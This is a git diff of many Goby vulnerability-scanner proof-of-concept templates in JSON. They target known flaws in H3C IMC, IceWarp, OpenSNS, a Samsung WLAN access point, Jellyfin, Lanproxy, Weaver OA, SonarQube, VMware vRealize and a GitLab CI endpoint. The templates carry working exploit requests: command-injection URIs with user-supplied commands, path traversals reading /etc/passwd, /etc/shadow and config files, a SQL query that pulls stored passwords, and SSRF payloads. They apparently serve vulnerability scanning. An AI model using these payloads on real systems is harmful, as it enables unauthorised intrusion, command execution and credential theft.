"data": "{\"include_merged_yaml\":true,\"content\":\"include:\\n remote: http://test.dnslog.cn/api/v1/targets?test.yml\",\"wglt1cskpv\":\"=\"}"
@ -65,45 +57,9 @@
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/api/v4/ci/lint?include_merged_yaml=true",
"follow_redirect": true,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"content\": \"include:\\n remote: http://127.0.0.1:9100/test.yml\"}",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "does not have valid YAML syntax",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"ExploitSteps": [
"AND",
{
"Request": {
@ -112,7 +68,8 @@
"follow_redirect": false,
"header": {
"Content-Type": "application/json",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Content-Length": ""
},
"data_type": "text",
"data": "{\"include_merged_yaml\":true,\"content\":\"include:\\n remote: http://{{{URL}}}/api/v1/targets?test.yml\",\"wglt1cskpv\":\"=\"}"
@ -138,10 +95,10 @@
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-07-01 20:34:22",
"GobyVersion": "1.8.268"
}

View File

@ -1,32 +1,26 @@
{
"Name": "H3C IMC RCE",
"Name": "H3C IMC远程命令执行",
"Level": "3",
"Tags": [
"rce"
],
"Tags": [],
"GobyQuery": "product=\"H3C-iMC\"",
"Description": "H3C IMC",
"Product": "H3C IMC",
"Description": "",
"Product": "H3C iMC 智能管理中心平台",
"Homepage": "http://www.h3c.com/cn/Products___Technology/Products/H3C_Soft/IT_Business/Resource/iMC_Flat",
"Author": "",
"Impact": "A vulnerability in H3C IMC allows remote unauthenticated attackers to cause the remote web application to execute arbitrary commands via the 'dynamiccontent.properties.xhtml' endpoint.",
"Recommendation": "",
"Author": "ying",
"Impact": "",
"Recommandation": "",
"References": [
"https://mp.weixin.qq.com/s/BP9_H3lpluqIwL5OMIJlIw",
"https://www.t00ls.net/articles-60979.html"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Cmd",
"Type": "input",
"Value": "whoami"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "whoami",
"show": ""
}
],
"ScanSteps": [
"AND",
{
@ -63,8 +57,8 @@
},
"SetVariable": []
}
],
"ExploitSteps": [
],
"ExploitSteps": [
"AND",
{
"Request": {
@ -99,10 +93,10 @@
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
],
"PostTime": "2021-05-28 10:06:39",
"GobyVersion": "1.8.268"
}

View File

@ -1,18 +1,18 @@
{
"Name": "IRDM4000 Smart station Unauthorized access",
"Level": "2",
"Tags": [
"unauthorized access"
],
"Tags": [],
"GobyQuery": "body=\"iRDM4000智慧站房在线监管\"",
"Description": "IRDM4000 Smart station",
"Description": "IRDM4000 unauthorized access vulnerability of userId=0",
"Product": "IRDM4000 Smart station",
"Homepage": "http://www.houtian-hb.com/",
"Author": "",
"Impact": "IRDM4000 unauthorized access vulnerability of userId=0",
"Homepage": "http://www.houtian-hb.com",
"Author": "gobysec@gmail.com",
"Impact": "",
"Recommendation": "",
"References": [],
"HasExp": false,
"References": [
"https://gobies.org/"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -64,6 +64,43 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2021-10-26 10:55:38",
"GobyVersion": "1.9.304"
}

View File

@ -1,31 +1,26 @@
{
"Name": "IceWarp WebClient basic RCE",
"Level": "3",
"Tags": [
"rce"
],
"Tags": [],
"GobyQuery": "body=\"Powered by IceWarp\"",
"Description": "IceWarp",
"Product": "IceWarp",
"Homepage": "http://www.icewarp.cn/",
"Author": "",
"Impact": "IceWarp WebClient basic RCE",
"Recommendation": "",
"Description": "",
"Product": "",
"Homepage": "https://gobies.org/",
"Author": "luckying",
"Impact": "",
"Recommandation": "",
"References": [
"https://www.pwnwiki.org/index.php?title=IceWarp_WebClient_basic_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"
"https://gobies.org/"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "ipconfig"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "cmd",
"type": "input",
"value": "ipconfig",
"show": ""
}
],
"ScanSteps": [
"AND",
{
@ -55,7 +50,7 @@
"SetVariable": []
}
],
"ExploitSteps": [
"ExploitSteps": [
"AND",
{
"Request": {
@ -82,10 +77,10 @@
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-06-19 13:19:47",
"GobyVersion": "1.8.268"
}

View File

@ -1,28 +1,17 @@
{
"Name": "Jellyfin 10.7.0 Unauthenticated Abritrary File Read CVE-2021-21402",
"Level": "2",
"Tags": [
"Disclosure of Sensitive Information"
],
"GobyQuery": "(title='Jellyfin')",
"Description": "Jellyfin is a Free Software Media System. In Jellyfin before version 10.7.1, with certain endpoints, well crafted requests will allow arbitrary file read from a Jellyfin server's file system. This issue is more prevalent when Windows is used as the host OS. Servers that are exposed to the public Internet are potentially at risk. This is fixed in version 10.7.1. As a workaround, users may be able to restrict some access by enforcing strict security permissions on their filesystem, however, it is recommended to update as soon as possible.",
"Product": "Jellyfin",
"Homepage": "https://jellyfin.org/",
"Author": "PeiQi",
"Impact": "<p>Attackers can read arbitrary files to obtain sensitive information of the server<br></p>",
"Tags": [],
"GobyQuery": "title=\"Jellyfin\"",
"Description": "",
"Product": "",
"Homepage": "https://gobies.org/",
"Author": "gobysec@gmail.com",
"Impact": "",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
"https://gobies.org/"
],
"HasExp": true,
"ExpParams": [
{
"name": "File",
"type": "select",
"value": "windows/win.ini",
"show": ""
}
],
"ScanSteps": [
"OR",
{
@ -53,20 +42,6 @@
"operation": "contains",
"value": "font",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "file",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "extension",
"bz": ""
}
]
},
@ -100,59 +75,12 @@
"operation": "contains",
"value": "font",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "extension",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "file",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"OR",
{
"Request": {
"method": "GET",
"uri": "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/",
"follow_redirect": false,
"header": {
"Content-Type": "application/octet-stream"
},
"data_type": "text",
"data": ""
},
"SetVariable": [
"output|lastbody"
]
},
{
"Request": {
"method": "GET",
"uri": "/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/",
"follow_redirect": false,
"header": {
"Content-Type": "application/octet-stream"
},
"data_type": "text",
"data": ""
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-04-07 21:05:13",
"PostTime": "2021-04-07 15:10:20",
"GobyVersion": "1.8.255"
}

View File

@ -1,23 +1,17 @@
{
"Name": "Jitong EWEBS phpinfo leak",
"Level": "0",
"Tags": [
"infoleak"
],
"Name": "极通EWEBSphpinfo泄露",
"Level": "3",
"Tags": [],
"GobyQuery": "body=\"极通软件\"",
"Description": "",
"Product": "Jitong EWEBS",
"Homepage": "http://www.n-soft.com.cn/",
"Author": "",
"Impact": "Jitong EWEBS phpinfo leak",
"Recommendation": "",
"References": [],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"Product": "",
"Homepage": "https://gobies.org/",
"Author": "gobysec@gmail.com",
"Impact": "",
"Recommandation": "",
"References": [
"https://gobies.org/"
],
"ScanSteps": [
"AND",
{
@ -25,7 +19,7 @@
"method": "GET",
"uri": "/testweb.php",
"follow_redirect": false,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -45,34 +39,6 @@
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/testweb.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "PHP Version",
"bz": ""
}
]
},
"SetVariable": []
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-06-17 21:19:12",
"GobyVersion": "1.8.268"
}

View File

@ -4,12 +4,12 @@
"Tags": [
"defaultaccount"
],
"GobyQuery": "title=\"Konga\" || body=\"window.konga_version\"",
"Description": "Konga offers the tools you need to manage your Kong cluster with ease.",
"GobyQuery": "(title==\"Konga\" | body=\"window.konga_version\")",
"Description": "Konga JWT默认key为oursecret可伪造任意用户权限。",
"Product": "Konga",
"Homepage": "https://github.com/pantsel/konga",
"Author": "",
"Impact": "The default key of Konga JWT is oursecret, which can forge arbitrary user permissions.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s/8guU2hT3wE2puEztdGqZQg"
@ -112,6 +112,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-12-03 18:50:39",
"GobyVersion": "1.9.310"
}

View File

@ -1,44 +1,36 @@
{
"Name": "Lanproxy Directory Traversal CVE-2021-3019",
"Name": "Lanproxy目录遍历 CVE-2021-3019",
"Level": "2",
"Tags": [
"Directory Traversal"
],
"GobyQuery": "header=\"Server: LPS-0.1\"",
"Description": "Lanproxy is a reverse proxy to help you expose a local server behind a NAT or firewall to the internet. it supports any protocols over tcp (http https ssh ...)",
"Product": "ffay lanproxy 0.1",
"Homepage": "https://github.com/ffay/lanproxy",
"Author": "",
"Impact": "ffay lanproxy 0.1 allows Directory Traversal to read /../conf/config.properties to obtain credentials for a connection to the intranet.",
"Recommendation": "",
"Tags": [],
"GobyQuery": "header= \"Server: LPS-0.1\"",
"Description": "lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具目前仅支持tcp流量转发可支持任何tcp上层协议ssh访问、web服务器访问、远程桌面...)。",
"Product": "",
"Homepage": "https://gobies.org/",
"Author": "luckying",
"Impact": "",
"Recommandation": "",
"References": [
"https://github.com/ffay/lanproxy/commits/master",
"https://github.com/maybe-why-not/lanproxy/issues/1",
"https://nvd.nist.gov/vuln/detail/CVE-2021-3019"
"https://gobies.org/"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Filename",
"Type": "select",
"Value": "/../../../../../../../../../../etc/passwd,/../conf/config.properties,/../../../../../../../../../../etc/shadow"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "path",
"type": "input",
"value": "/../conf/config.properties",
"show": ""
}
],
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/../conf/config.properties",
"follow_redirect": true,
"header": null,
"follow_redirect": false,
"header": {},
"data_type": "text",
"data": "",
"set_variable": []
"data": ""
},
"ResponseTest": {
"type": "group",
@ -55,7 +47,34 @@
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "server.ssl",
"value": "config.admin",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "{{{path}}}",
"follow_redirect": false,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
@ -68,40 +87,10 @@
]
},
"SetVariable": [
"output|lastbody|regex|"
]
"output|lastbody"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "{{{Filename}}}",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-06-24 17:23:13",
"GobyVersion": "1.8.268"
}

View File

@ -1,32 +1,28 @@
{
"Name": "OpenSNS RCE",
"Name": "OpenSNS 远程代码执行漏洞",
"Level": "3",
"Tags": [
"RCE"
],
"GobyQuery": "body=\"opensns\"",
"Description": "OpenSNS is a comprehensive social software developed by Xiangtian Technology.",
"Description": "OpenSNS是想天科技开发的一款综合性社交软件存在命令执行漏洞且是administrator",
"Product": "OpenSNS",
"Homepage": "http://www.opensns.cn/",
"Author": "",
"Impact": "A vulnerability in OpenSNS allows remote unauthenticated attackers to cause the product to execute arbitrary code via the 'shareBox' endpoint.",
"Recommendation": "",
"Author": "luckying",
"Impact": "",
"Recommandation": "",
"References": [
"http://www.0dayhack.net/index.php/2417/",
"https://www.pwnwiki.org/index.php?title=OpenSNS_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"
"https://www.pwnwiki.org/index.php?title=OpenSNS_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-cn"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Cmd",
"Type": "input",
"Value": "whoami"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "whoami",
"show": ""
}
],
"ScanSteps": [
"AND",
{
@ -34,7 +30,7 @@
"method": "GET",
"uri": "/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system(ipconfig)",
"follow_redirect": false,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -54,14 +50,14 @@
"SetVariable": []
}
],
"ExploitSteps": [
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26[6][]=%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=system({{{Cmd}}})",
"follow_redirect": false,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -79,10 +75,10 @@
]
},
"SetVariable": [
"output|lastbody|undefined|undefined"
]
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-06-28 11:44:33",
"GobyVersion": "1.8.268"
}

View File

@ -2,22 +2,18 @@
"Name": "RuoYi Druid Unauthorized access",
"Level": "0",
"Tags": [
"infoleak"
"Disclosure of Sensitive Information"
],
"GobyQuery": "app=\"ruoyi-System\"",
"Description": "RuoYi",
"Description": "If Druid is used in the management system, anonymous access is enabled by default, resulting in unauthorized access to sensitive information",
"Product": "RuoYi",
"Homepage": "https://gitee.com/y_project/RuoYi-Vue",
"Author": "",
"Impact": "If Druid is used in the management system, anonymous access is enabled by default, resulting in unauthorized access to sensitive information.",
"Recommendation": "",
"References": [],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"Author": "PeiQi",
"Impact": "<p>&nbsp;resulting in unauthorized access to sensitive information<br></p>",
"Recommandation": "",
"References": [
"http://wiki.peiqi.tech"
],
"ScanSteps": [
"AND",
{
@ -25,7 +21,7 @@
"method": "GET",
"uri": "/prod-api/druid/index.html",
"follow_redirect": false,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -59,43 +55,6 @@
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-20 23:13:54",
"GobyVersion": "1.8.258"
}

View File

@ -1,42 +1,30 @@
{
"Name": "Samsung WLAN AP WEA453e RCE",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "title=\"Samsung WLAN AP\" || app=\"Chunjs-server\" && body=\"Samsung Electronics\"",
"Description": "Samsung WLAN AP WEA453e",
"Product": "Samsung WLAN AP WEA453e",
"Tags": [],
"GobyQuery": "title==\"Samsung WLAN AP\"",
"Description": "三星 WLAN AP WEA453e路由器 存在远程命令执行漏洞,可在未授权的情况下执行任意命令获取服务器权限",
"Product": "三星 WLAN AP WEA453e路由器",
"Homepage": "https://www.samsung.com/",
"Author": "",
"Impact": "Samsung WLAN AP wea453e router has a remote command execution vulnerability.",
"Recommendation": "",
"References": [],
"HasExp": true,
"ExpParams": [
{
"Name": "Cmd",
"Type": "input",
"Value": "cat /etc/passwd"
}
"Author": "lxy@secbug.org",
"Impact": "<p>暂无</p>",
"Recommandation": "<p>暂无</p>",
"References": [
"Internet"
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"method": "POST",
"uri": "/(download)/tmp/a.txt",
"follow_redirect": false,
"follow_redirect": true,
"header": {
"Content-Type": "application/json;charset=UTF-8"
"Connection": "close",
"Content-Length": "48"
},
"data_type": "text",
"data": "command1=shell:cat /etc/passwd| dd of=/tmp/a.txt",
"set_variable": []
"data": "command1=shell:cat /etc/passwd| dd of=/tmp/a.txt"
},
"ResponseTest": {
"type": "group",
@ -58,43 +46,9 @@
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/(download)/tmp/a.txt",
"follow_redirect": false,
"header": {
"Content-Type": "application/json;charset=UTF-8"
},
"data_type": "text",
"data": "command1=shell:{{{Cmd}}}| dd of=/tmp/a.txt",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-01 11:47:39",
"GobyVersion": "1.8.237"
}

View File

@ -1,175 +1,82 @@
{
"Name": "Samsung WLAN AP wea453e router RCE",
"Level": "3",
"Tags": [
"rce",
"getshell"
],
"GobyQuery": "app=\"Chunjs-server\" && body=\"Samsung Electronics\"",
"Description": "xxxx",
"Product": "xxxxxx",
"Homepage": "https://gobies.org/",
"Author": "gobysec@gmail.com",
"Impact": "<p>xxxx</p>",
"Recommendation": "<p>xxxxx</p>",
"References": [
"https://gobies.org/"
],
"HasExp": true,
"ExpParams": [{
"Name": "cmd",
"Type": "input",
"Value": "ls"
}],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/(download)/tmp/a.txt",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "command1=shell:ifconfig| dd of=/tmp/a.txt",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "eth0",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/(download)/tmp/a.txt",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "command1=shell:{{{cmd}}} | dd of=/tmp/a.txt",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": []
},
"SetVariable": [
"output|lastbody||"
]
}
],
"PostTime": "2021-11-26 19:12:54",
"GobyVersion": "1.9.310"
"Name": "Samsung WLAN AP wea453e router RCE",
"Level": "3",
"Tags": [
"RCE"
],
"GobyQuery": "app=\"Chunjs-server\" && body=\"Samsung Electronics\"",
"Description": "Samsung WLAN AP wea453e router has a remote command execution vulnerability. It can execute arbitrary commands without authorization to obtain server permissions",
"Product": "Samsung WLAN AP wea453e router",
"Homepage": "https://www.samsung.com/cn/",
"Author": "PeiQi",
"Impact": "<p>Execute any command to get the server permission<br></p>",
"Recommandation": "",
"References": [
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "cat /etc/passwd",
"show": ""
}
],
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/(download)/tmp/a.txt",
"follow_redirect": false,
"header": {
"Content-Type": "application/json;charset=UTF-8"
},
"data_type": "text",
"data": "command1=shell:cat /etc/passwd| dd of=/tmp/a.txt"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "root",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/(download)/tmp/a.txt",
"follow_redirect": false,
"header": {
"Content-Type": "application/json;charset=UTF-8"
},
"data_type": "text",
"data": "command1=shell:{{{Cmd}}}| dd of=/tmp/a.txt"
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-04-04 23:47:22",
"GobyVersion": "1.8.255"
}

View File

@ -5,11 +5,11 @@
"infoleak"
],
"GobyQuery": "body=\"var dkey_verify = Get_Verify_Info(hex_md5)\"",
"Description": "",
"Product": "",
"Homepage": "",
"Author": "",
"Impact": "There are hard-coded vulnerabilities in firewall web management programs such as Zhongke Wangwei, Wangyu Technology, Ruijie, and Tiangong Network.",
"Description": "中科网威、网域科技、锐捷、天工网络等防火墙web管理程序存在硬编码漏洞。",
"Product": "多个",
"Homepage": "",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s/59-rkZUWZNtJVgIbpULnxw"
@ -94,6 +94,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-12-06 16:14:12",
"GobyVersion": "1.9.310"
}

View File

@ -4,7 +4,7 @@
"Tags": [
"unauth"
],
"GobyQuery": "app=\"SonarQube\"",
"GobyQuery": "app=\"SonarQube-code management\"",
"Description": "SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, SVN, and GitLab credentials via the api/settings/values URI.",
"Product": "SonarQube",
"Homepage": "https://www.sonarqube.org/",
@ -14,7 +14,7 @@
"References": [
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27986"
],
"HasExp": false,
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -64,6 +64,50 @@
]
}
],
"PostTime": "2021-11-29 15:03:58",
"GobyVersion": "1.9.310"
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/api/settings/values",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "sonaranalyzer-cs.nuget.packageVersion",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "sonar.core.id",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2022-06-25 20:10:24",
"GobyVersion": "1.9.323"
}

View File

@ -4,23 +4,16 @@
"Tags": [
"SSRF"
],
"GobyQuery": "app=\"Apache-Web-Server\" && title=\"vRealize Operations Manager\"",
"Description": "vRealize Operations Enable self-driving IT Operations Management across private, hybrid and multi-cloud environments with a unified operations platform that delivers continuous performance, capacity and cost optimization, intelligent remediation and integrated compliance through AI/ML and predictive analytics.",
"GobyQuery": "app=\"Apache-Web-Server\" && title==\"vRealize Operations Manager\"",
"Description": "malicious attackers who access the vrealize Operations Manager API through the network can perform server-side request forgery attack to steal management credentials.",
"Product": "VMWare Operations vRealize Operations",
"Homepage": "https://www.vmware.com/products/vrealize-operations.html",
"Author": "",
"Impact": "Server Side Request Forgery in vRealize Operations Manager API (CVE-2021-21975) prior to 8.4 may allow a malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials.",
"Recommendation": "",
"Homepage": "https://www.vmware.com/cn/products/vrealize-operations.html",
"Author": "PeiQi",
"Impact": "<p>&nbsp;can perform server-side request forgery attack to steal management credentials.<br></p>",
"Recommandation": "<p>undefined</p>",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-21975",
"https://www.vmware.com/security/advisories/VMSA-2021-0004.html"
"http://wiki.peiqi.tech"
],
"HasExp": true,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
@ -71,7 +64,7 @@
"SetVariable": []
}
],
"ExploitSteps": [
"ExploitSteps": [
"AND",
{
"Request": {
@ -118,9 +111,11 @@
}
]
},
"SetVariable": []
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-07 23:45:28",
"GobyVersion": "1.8.255"
}

View File

@ -8,7 +8,7 @@
"Description": "VMware vCenter Server is advanced server management software that provides a centralized platform for controlling your VMware vSphere environments, allowing you to automate and deliver a virtual infrastructure across the hybrid cloud with confidence.",
"Product": "VMware-vCenter",
"Homepage": "https://www.vmware.com/products/vcenter-server.html",
"Author": "",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
@ -100,6 +100,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-12-02 18:50:55",
"GobyVersion": "1.9.310"
}

View File

@ -5,19 +5,15 @@
"SQL Injection"
],
"GobyQuery": "app=\"Weaver-OA\"",
"Description": "",
"Description": "There is a SQL injection vulnerability in Pan micro OA V8, through which an attacker can obtain administrator and server privileges",
"Product": "Weaver OA 8",
"Homepage": "https://weaver.com/",
"Author": "",
"Impact": "There is a SQL injection vulnerability in Pan micro OA V8, through which an attacker can obtain administrator and server privileges.",
"Recommendation": "",
"References": [],
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
"Content": ""
},
"Homepage": "https://www.weaver.com.cn/",
"Author": "PeiQi",
"Impact": "",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.tech"
],
"ScanSteps": [
"AND",
{
@ -25,7 +21,7 @@
"method": "GET",
"uri": "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager",
"follow_redirect": false,
"header": null,
"header": {},
"data_type": "text",
"data": ""
},
@ -51,7 +47,7 @@
"type": "item",
"variable": "$body",
"operation": "not contains",
"value": "&lt;html&gt;",
"value": "<html>",
"bz": ""
},
{
@ -66,6 +62,6 @@
"SetVariable": []
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-04-10 08:00:20",
"GobyVersion": "1.8.255"
}

View File

@ -4,20 +4,17 @@
"Tags": [
"rce"
],
"GobyQuery": "app=\"YAPI\" || title==\"YApi-高效、易用、功能强大的可视化接口管理平台\" || title==\"YApi Pro-高效、易用、功能强大的可视化接口管理平台\"",
"Description": "YApi is an efficient, easy-to-use and powerful visual interface management platform.",
"GobyQuery": "(app=\"YAPI\" | title==\"YApi-高效、易用、功能强大的可视化接口管理平台\" | title==\"YApi Pro-高效、易用、功能强大的可视化接口管理平台\")",
